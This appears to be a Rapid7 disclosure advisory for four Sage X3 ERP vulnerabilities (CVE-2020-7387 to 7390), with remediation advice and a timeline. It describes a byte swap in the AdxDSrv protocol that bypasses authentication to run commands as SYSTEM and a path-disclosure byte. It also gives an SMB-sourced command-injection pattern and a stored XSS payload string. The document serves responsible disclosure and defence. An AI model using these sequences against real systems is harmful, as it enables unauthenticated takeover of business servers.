Four vulnerabilities involving Sage X3 were identified by Rapid7 researchers Jonathan Peterson, Aaron Herndon, Cale Black, Ryan Villarreal, and William Vu. These vulnerabilities were reported to Sage according to Rapid7’s usual vulnerability disclosure process and were fixed in recent releases for Sage X3 Version 9 (those components that ship with Syracuse 9.22.7.2), Sage X3 HR & Payroll Version 9 (those components that ship with Syracuse 9.24.1.3), Sage X3 Version 11 (Syracuse v11.25.2.6), and Sage X3 Version 12 (Syracuse v12.10.2.8). Note, there was no commercially available Version 10 of Sage X3.

These vulnerabilities are summarized in the table below: The first two are protocol-related issues involving remote administration of Sage X3, and the latter two are web application vulnerabilities. Generally speaking, Sage X3 installations should not be exposed directly to the internet, and should instead be made available via a secure VPN connection where required. Following this operational advice effectively mitigates all four vulnerabilities, though customers are still urged to update according to their usual patch cycle schedules.

CVE Identifier	CWE Identifier	CVSS score (Severity)	Remediation
CVE-2020-7388	CWE-290: Unauthenticated Command Execution Bypass by Spoofing in AdxAdmin	10.0 (Critical)	Update available
CVE-2020-7387	CWE-200: Exposure of Sensitive Information to an Unauthorized Actor in AdxAdmin	5.3 (Medium)	Update available
CVE-2020-7389	CWE-306 Missing Authentication for Critical Function in Developer Environment in Syracuse	5.5 (Medium)	No fix planned, as this is a development function and not a production function.
CVE-2020-7390	CWE-79: Persistent Cross-Site Scripting (XSS) in Syracuse	4.6 (Medium)	Update available (note, this affects V12 only, unlike the other issues which affects V9 and V11 as well)

Product description

Sage X3 is an Enterprise Resource Planning (ERP) application, and is primarily used for supply chain management in medium to large enterprises. The product is especially popular in British and other European markets. More information about Sage X3 can be found at the vendor’s website.

Credit

These issues were discovered by Rapid7 researchers Jonathan Peterson (@deadjakk), Aaron Herndon (@ac3lives), Cale Black, Ryan Villarreal (@XjCrazy09), and William Vu. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

CVE-2020-7390 was previously reported to the vendor by Vivek Srivastav from Cobalt Labs in January of 2021.

Exploitation

For each of the identified vulnerabilities, what follows is a brief description of the issue and exploitation techniques that leverage it:

CVE-2020-7388: Sage X3 Unauthenticated Remote Command Execution (RCE) as SYSTEM in AdxDSrv.exe component

Sage X3 exposes an administrative service on port TCP/1818 (default, but changeable) under the process “AdxDSrv.exe,” part of the AdxAdmin component. This service is used for remote administration of the Sage ERP solution through the Sage X3 Console. A vulnerability within the service allows a malicious actor to craft a request to the exposed service to execute commands on the server as the “NT AUTHORITY/SYSTEM” user.

AdxDSrv.exe Authentication and Execution Process

Sage X3 uses a custom protocol for interaction between the Sage X3 Console thick client and AdxDSrv.exe. Reviewing the protocol, the Sage X3 console crafts a request to authenticate using a byte sequence as follows:

0x6a + length of message + length of username + username + length of username + username + \x1cCRYPT: + encryptedpassword

Sage X3 uses a custom encryption mechanism to encrypt the password, but for the sake of brevity, we will not go into the encryption method here. An example message can be seen below, sending the user “admin” with password “password”:

\x6a'\x05admin\x05admin\x1aCRYPT:tzksgrQeseSccrftgrqk

In response, the AdxDSrv.exe sends 4 bytes indicating that authentication was successful. These bytes are always prefixed with \x00\x00 and then two apparently random bytes, like so:

\x00\x00\x08\x14

After receiving this successful authentication response, a message can be sent to execute remote commands. First, the temporary directory is specified by the client with the name of the “cmd” file to be written to the server.

As seen in the image below, the batch file, with the provided “cmd” file name, is written to disk with the “whoami” command in it:

After the AdxDSrv.exe service writes the temporary batch file to the named folder, it will execute it under the security context of the provided user credentials, via a Windows API call to CreateProcessAsUserAs. This can be observed within Windows Event Logs as a Windows Event Logon with CreateProcess(AsUser). Below is an example of the sequence of messages that ultimately result in the command being written to a file, executed, and then reading of the output:

Below is the snippet of code that calls CreateProcessAsUserA with the provided user credentials within AdxSrv.exe, a thread spawned from AdxDSrv.exe:

Executing Without Valid Authentication, as NT AUTHORITY\SYSTEM

Sending commands to execute requires two components. The first is knowing the installation directory of the AdxAdmin service so that we can provide the service the full path location to which to write the “.cmd” file to be executed. The second component is the “authorization sequence,” which, as shown above, involves sending a username and password encrypted with the encryption protocol used by the AdxDSrv.exe service for the .cmd file to be executed via a Windows API call to CreateProcessAsUserA.

Obtaining the installation’s directory can be done either with prior knowledge, educated guesswork, or via an unauthenticated, remote information disclosure vulnerability outlined below as CVE-2020-7387.

The second step can be sidestepped with a series of packets that recreate the AdxDSrv.exe authentication and command protocol, but with one critical modification: An attacker can simply swap one byte and cause the service to ignore provided user credentials, and instead execute under the current AdxDSrv.exe process security context, which runs as NT AUTHORITY\SYSTEM. A bit of fuzzing revealed that using “0x06” instead of “0x6a” during the start of the authorization sequence allows for the sequence to continue and the command to instead run as the NT AUTHORITY\SYSTEM account.

In other words, the client appears to be able to opt out of authentication entirely. In this mode, the requested command is executed as SYSTEM instead of impersonating a provided user account.

The image below shows a proof-of-concept exploit in action, sending the entire sequence to execute “whoami” without having ever provided the encrypted user credentials as was previously required.

The issue was fixed in AdxAdmin version 93.2.53, which is common to X3 V9, V11, and V12, and ships with Syracuse 9.22.7.2, 11.25.2.6, and 12.10.2.8, respectively.

CVE-2020-7387: Sage X3 Installation Pathname Disclosure

While fuzzing the authentication and command protocol used by AdxAdmin.exe as described in CVE-2020-7388, it was discovered that sending the first byte as “0x09” rather than “0x6a”, with three trailing null bytes, returned the installation directory without requiring any authentication.

The image below shows an example of the message being sent, along with the response from the server containing the directory path information:

While installation path names tend to be fairly predictable when it comes to most enterprise software—nearly all users install to a default directory on one of a handful of drive letters—this vulnerability does give an attacker information required to exploit CVE-2020-7388, above.

CVE-2020-7389: System CHAINE Variable Script Command Injection

Some web application scripts that allowed the use of the ‘System’ function could be paired with the ‘CHAINE’ variable in order to execute arbitrary commands, including those sourced from a remote SMB share. The page can be reached via the menu prompts Development -> Script dictionary -> Scripts. Note that, according to the vendor, this functionality should only be available in development environments, and not production environments.

In the below example, the vulnerability command pattern System CHAINE="\\\<SMB Server>\<Share>\<Payload>" is demonstrated:

The screenshot below demonstrates an Impacket SMB server that offers “a.bat”, which in turn calls “b.exe,” and the resultant attempt to connect and evaluate the payload specified in CHAINE variable:

CVE-2020-7390: Stored XSS Vulnerability on ‘Edit’ Page of User Profile

The ‘First name’, ‘Last name’, and ‘Email’ fields within the ‘Edit User’ page is vulnerable to a stored XSS sequence. An example XSS string, test<img src=x onerror=(alert('xss'))>></x>"></plaintext\></|\>, is executed upon a mouseOver Javascript event, as demonstrated below:

Impact

When combining CVE-2020-7387 and CVE-2020-7388, an attacker can first learn the installation path of the affected software, then use that information to pass commands to the host system to be run in the SYSTEM context. This can allow an attacker to run arbitrary operating system commands to create Administrator level users, install malicious software, and otherwise take complete control of the system for any purpose.

CVE-2020-7389 describes a mechanism to subvert the development environment for Sage X3, and ultimately run OS commands as the “x3run” user. However, this functionality is a) restricted to authenticated users of Sage X3, and b) should not be exposed in production environments.

Finally, CVE-2020-7390 describes a persistent cross-site scripting vulnerability, which can only be triggered by an authenticated user, and requires user interaction in order to complete the attack. If successful, however, this vulnerability could allow a regular user of Sage X3 to execute privileged functions as a currently logged-in administrator or capture administrator session cookies for later impersonation as a currently-logged-in administrator. Note that unlike the other issues, this issue is present only in unpatched Version 12 instances of Sage X3 (and not Version 9 or Version 10).

Vendor Statement

Sage takes the security of its customer solutions extremely seriously, and regularly undertakes proactive testing across its products to identify potential vulnerabilities and provide fixes. We are grateful to Rapid7, who recently made Sage aware of a vulnerability in our on-premise Sage X3 product. Sage and its Partners have issued a fix for the vulnerability, contacted all applicable customers and advised them on the onward process – more information can be_ _found here_ – with information on Sage X3 security best practices__ _here.

Remediation

The most recent on-premises versions of Sage X3 Version 9, Version 11, and Version 12 address these issues, and users of Sage X3 are urged to update their Sage infrastructure at their earliest convenience. In the event updates cannot be applied immediately, customers should consider the following remediation efforts:

• For CVE-2020-7388 and CVE-2020-7387, do not expose the AdxDSrv.exe TCP port on any host running Sage X3 to the internet or other untrusted networks. As a further preventative measure, the adxadmin service should be stopped entirely while in production.
• For CVE-2020-7389, generally speaking, users should not expose this webapp interface to the internet or other untrusted networks. Furthermore, users of Sage X3 should ensure that development functionality is not available in production environments. For more information on ensuring this, please refer to the vendor’s Best Practices documentation.
• In the event that network segmentation is inconvenient due to business critical functions, only users trusted with system administration of the machines that host Sage X3 should be granted login access to the web application.

Disclosure Timeline

• Dec 2020: Issues discovered by the above-named Rapid7 researchers.
• Feb 3, 2021: Initial disclosure to the vendor, Sage
• Feb 4, 2021: Details provided to the vendor.
• Feb 22, 2021: Complete writeups of the findings provided to the vendor
• Mar 25, 2021: Sage released updates for affected components
• May 18, 2021: Sage begins targeted, private customer disclosure
• Jun 14, 2021: Finalized vulnerability descriptions in cooperation with the vendor
• Jul 7, 2021: Public Disclosure of CVE-2020-7387…7390.